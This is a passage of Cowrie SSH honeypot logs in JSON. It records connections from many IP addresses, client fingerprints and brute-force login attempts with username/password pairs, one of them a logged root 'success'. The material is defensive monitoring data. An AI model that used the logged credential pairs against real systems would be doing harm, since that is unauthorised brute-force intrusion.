519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:35.713831Z","src_ip":"170.238.160.191","session":"3fdcdbc91a13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"123456","message":"login attempt [linux/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:36.183050Z","src_ip":"170.238.160.191","session":"3fdcdbc91a13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:36.480847Z","src_ip":"165.154.22.233","session":"6cca873958b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:37.294241Z","src_ip":"170.238.160.191","session":"3fdcdbc91a13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:37.700104Z","src_ip":"165.154.22.233","session":"6cca873958b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.22.233","src_port":42670,"dst_ip":"10.17.0.5","dst_port":22,"session":"5acd36b6c5c6","protocol":"ssh","message":"New connection: 165.154.22.233:42670 (10.17.0.5:22) [session: 5acd36b6c5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:37.915307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:37.920695Z","src_ip":"165.154.22.233","session":"5acd36b6c5c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:38.148520Z","src_ip":"165.154.22.233","session":"5acd36b6c5c6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:39.061016Z","src_ip":"165.154.22.233","session":"5acd36b6c5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:39.288350Z","src_ip":"165.154.22.233","session":"5acd36b6c5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:39.291873Z","src_ip":"165.154.22.233","session":"5fd7412813b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":33908,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a4578411cda","protocol":"ssh","message":"New connection: 2.57.122.210:33908 (159.203.135.109:22) [session: 4a4578411cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:53.072627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:53.077681Z","src_ip":"2.57.122.210","session":"4a4578411cda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:53.181722Z","src_ip":"2.57.122.210","session":"4a4578411cda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stake","password":"stake","message":"login attempt [stake/stake] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:53.504262Z","src_ip":"2.57.122.210","session":"4a4578411cda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:54.612566Z","src_ip":"2.57.122.210","session":"4a4578411cda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":44544,"dst_ip":"10.17.0.5","dst_port":22,"session":"743abaae4668","protocol":"ssh","message":"New connection: 195.178.110.218:44544 (10.17.0.5:22) [session: 743abaae4668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:55.683065Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:55.763972Z","src_ip":"195.178.110.218","session":"743abaae4668","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.16.238.49","src_port":58968,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8d055e313cc","protocol":"ssh","message":"New connection: 201.16.238.49:58968 (10.17.0.5:22) [session: f8d055e313cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:56.128958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:56.141080Z","src_ip":"201.16.238.49","session":"f8d055e313cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:56.277885Z","src_ip":"201.16.238.49","session":"f8d055e313cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mosquitto","password":"mosquittopass","message":"login attempt [mosquitto/mosquittopass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:56.832886Z","src_ip":"201.16.238.49","session":"f8d055e313cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:57.976135Z","src_ip":"201.16.238.49","session":"f8d055e313cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.250.191.201","src_port":53000,"dst_ip":"10.17.0.5","dst_port":22,"session":"323a6f7ece4f","protocol":"ssh","message":"New connection: 130.250.191.201:53000 (10.17.0.5:22) [session: 323a6f7ece4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:14:04.782077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:14:04.786587Z","src_ip":"130.250.191.201","session":"323a6f7ece4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:14:05.040668Z","src_ip":"130.250.191.201","session":"323a6f7ece4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"perforce","password":"perforce1234","message":"login attempt [perforce/perforce1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:14:06.091596Z","src_ip":"130.250.191.201","session":"323a6f7ece4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:14:07.349092Z","src_ip":"130.250.191.201","session":"323a6f7ece4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":44060,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b83493a914f","protocol":"ssh","message":"New connection: 193.32.162.145:44060 (10.17.0.5:22) [session: 9b83493a914f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:14:28.211488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:14:28.220655Z","src_ip":"193.32.162.145","session":"9b83493a914f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:14:28.318675Z","src_ip":"193.32.162.145","session":"9b83493a914f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"test","message":"login attempt [solana/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:14:28.737099Z","src_ip":"193.32.162.145","session":"9b83493a914f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:14:29.883823Z","src_ip":"193.32.162.145","session":"9b83493a914f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.247.153.211","src_port":50722,"dst_ip":"10.17.0.5","dst_port":22,"session":"c41f1df3b4d8","protocol":"ssh","message":"New connection: 223.247.153.211:50722 (10.17.0.5:22) [session: c41f1df3b4d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:14:34.759033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:14:34.764732Z","src_ip":"223.247.153.211","session":"c41f1df3b4d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:14:35.694412Z","src_ip":"223.247.153.211","session":"c41f1df3b4d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dylan","password":"1234","message":"login attempt [dylan/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:14:37.218977Z","src_ip":"223.247.153.211","session":"c41f1df3b4d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:14:38.990678Z","src_ip":"223.247.153.211","session":"c41f1df3b4d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"301.5","message":"Connection lost after 301.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:14:49.558558Z","src_ip":"180.168.24.186","session":"aefd5120a351","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":43524,"dst_ip":"10.17.0.5","dst_port":22,"session":"b69607600712","protocol":"ssh","message":"New connection: 101.36.108.125:43524 (10.17.0.5:22) [session: b69607600712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:06.805938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:06.810221Z","src_ip":"101.36.108.125","session":"b69607600712","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:07.025583Z","src_ip":"101.36.108.125","session":"b69607600712","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"syj","password":"syj","message":"login attempt [syj/syj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:07.922780Z","src_ip":"101.36.108.125","session":"b69607600712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:09.143521Z","src_ip":"101.36.108.125","session":"b69607600712","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.247.153.211","src_port":59066,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a6d4e77fcda","protocol":"ssh","message":"New connection: 223.247.153.211:59066 (10.17.0.5:22) [session: 2a6d4e77fcda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:09.984367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:09.989888Z","src_ip":"223.247.153.211","session":"2a6d4e77fcda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:15:11.110178Z","src_ip":"223.247.153.211","session":"2a6d4e77fcda","protocol":"ssh"}
